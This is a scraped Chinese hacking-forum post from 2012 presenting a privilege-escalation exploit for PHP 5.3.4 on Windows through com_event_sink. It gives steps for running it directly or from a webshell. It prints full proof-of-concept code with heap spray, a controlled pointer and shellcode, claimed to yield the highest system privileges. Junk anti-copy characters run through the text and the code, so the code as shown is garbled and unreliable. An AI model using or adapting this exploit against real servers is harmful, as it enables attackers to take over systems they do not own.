找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2097|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中5 q7 g) s  h5 t2 E
# |8 y; G5 g; a5 T8 h) R' [) b1 I
测试方法如下:cmd /c x:\php\php.exe x:\test.php2 f# Q' l* Q- P2 F) b. ]& w

6 G0 D) Q7 I$ q( m* o下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php( j7 k& K; H) \2 x! B6 v: Z
这里是两个测试的截图:6 |; }: Z. [: h$ x( G5 N. I
/ \0 e; r6 f+ I, R9 A/ C
- ~+ {3 ?& Q2 ]

3 N* ?$ n; {) _6 E0 P! H$ w6 d3 Z/ K
5 o, n& X5 P* H
成功利用此漏洞的攻击者将获得系统的最高权限' t! Z/ c8 n9 o- |( D
$ @( B8 ~. r6 e  N' F# w

3 ~. F6 V% h' e& U
  w9 V$ i: v; q( T- Z3 M
/ O9 A  m' }4 _: T/ C; J" Z0 r# L( y# ^2 ?
关于漏洞分析稍后附上。一下是PoC代码:
6 w7 S4 s' A+ h
5 L; J: h* V& b. j% M& H<?php
  D9 `8 b/ _' a& J//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
1 |) b0 H2 h+ R  P2 U$ r9 w//$eip ="\x44\x43\x42\x41";. a, B& ?5 |4 w6 Q% t
$eip= "\x4b\xe8\x57\x78";
& J/ |1 I/ r" K4 L. T$eax ="\x80\x01\x8d\x04";1 x7 b6 Y0 r8 [0 c  `' W7 G- D
$deodrant="";) s0 H0 U. Y3 R: M% U5 |
$axespray = str_repeat($eip.$eax,0x80);
$ W! Q4 D4 u0 U  |& r0 L//048d0190) c+ E( O/ [: H) z4 d/ K, [: Q
echo strlen($axespray);
( ^: ]1 c& D4 t4 e9 l! C3 ^echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";7 ^  ^% j) ]6 Y5 H
echo "Silic Group Hacker Army - BlackBap.Org";" Z5 ~* P+ i9 h7 h2 R  C
//19200 ==4B32 4b00
" [( E/ o. X7 P/ ^( Efor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}8 N; v" ]* G. ^, m8 j0 M
$terminate = "T";
( D& w+ X" f  g* z$ V$u[] =$deodrant;
$ ?% L* e9 L$ g, d8 I% \" C$r[] =$deodrant.$terminate;' P  S3 l/ ?' a) o! ]
$a[] =$deodrant.$terminate;# u% g; h- \6 }( e4 q4 t% I* s
$s[] =$deodrant.$terminate;/ L; @+ u6 W6 M# }5 ]/ j
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的$ k$ v$ k- q1 b& Z6 D' w5 p
$vVar = new VARIANT(0x048d0000+180);( w1 k1 D; x% @) Q+ ^2 t; u; r
//弹窗代码(Shellcode), _7 G- S8 E) I
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";  x6 m8 P8 E! G1 _
$var2 = new VARIANT(0x41414242);
9 f0 `6 O" C  o; s: I/ ~& `com_event_sink($vVar,$var2,$buffer);
# a$ d0 B9 V* Z" l, G7 E?>
% G; k3 A: y( s! E; g/ F9 D

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表